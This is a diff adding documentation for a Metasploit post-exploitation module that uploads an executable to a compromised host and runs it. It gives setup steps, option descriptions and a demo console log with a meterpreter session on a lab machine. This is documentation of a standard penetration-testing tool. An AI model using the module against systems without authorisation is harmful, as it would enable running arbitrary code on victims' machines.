|
| 1 | +This module allows you to upload a binary file, and automatically execute it. |
| 2 | + |
| 3 | +## Vulnerable Application |
| 4 | + |
| 5 | +The following platforms are supported: |
| 6 | + |
| 7 | + |
| 8 | +* Windows |
| 9 | +* Linux |
| 10 | +* OS X |
| 11 | + |
| 12 | +## Verification Steps |
| 13 | + |
| 14 | +1. Prepare for an executable file you wish to upload and execute. |
| 15 | +2. Obtain a session from the target machine. |
| 16 | +3. In msfconsole, do ```use post/multi/manage/upload_exec``` |
| 17 | +4. Set the ```LFILE``` option |
| 18 | +5. Set the ```RFILE``` option |
| 19 | +6. Set the ```SESSION``` option |
| 20 | +7. ```run``` |
| 21 | + |
| 22 | +## Options |
| 23 | + |
| 24 | +**LFILE** |
| 25 | + |
| 26 | +The file on your machine that you want to upload to the target machine. |
| 27 | + |
| 28 | +**RFILE** |
| 29 | + |
| 30 | +The file path on the target machine. This defaults to LFILE. |
| 31 | + |
| 32 | +## Demo |
| 33 | + |
| 34 | +``` |
| 35 | +msf > use post/multi/manage/upload_exec |
| 36 | +msf post(upload_exec) > show options |
| 37 | +
|
| 38 | +Module options (post/multi/manage/upload_exec): |
| 39 | +
|
| 40 | + Name Current Setting Required Description |
| 41 | + ---- --------------- -------- ----------- |
| 42 | + LFILE yes Local file to upload and execute |
| 43 | + RFILE no Name of file on target (default is basename of LFILE) |
| 44 | + SESSION yes The session to run this module on. |
| 45 | +
|
| 46 | +msf post(upload_exec) > set lfile /tmp/ |
| 47 | +lfile => /tmp/ |
| 48 | +msf post(upload_exec) > set lfile /tmp/msg.exe |
| 49 | +lfile => /tmp/msg.exe |
| 50 | +msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe |
| 51 | +rfile => C:\Users\sinn3r\Desktop\msg.exe |
| 52 | +msf post(upload_exec) > sessions |
| 53 | +
|
| 54 | +Active sessions |
| 55 | +=============== |
| 56 | +
|
| 57 | + Id Type Information Connection |
| 58 | + -- ---- ----------- ---------- |
| 59 | + 1 meterpreter x86/windows WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM 192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149) |
| 60 | +
|
| 61 | +msf post(upload_exec) > set session 1 |
| 62 | +session => 1 |
| 63 | +
|
| 64 | +msf post(upload_exec) > run |
| 65 | +
|
| 66 | +[-] Post interrupted by the console user |
| 67 | +[*] Post module execution completed |
| 68 | +``` |
0 commit comments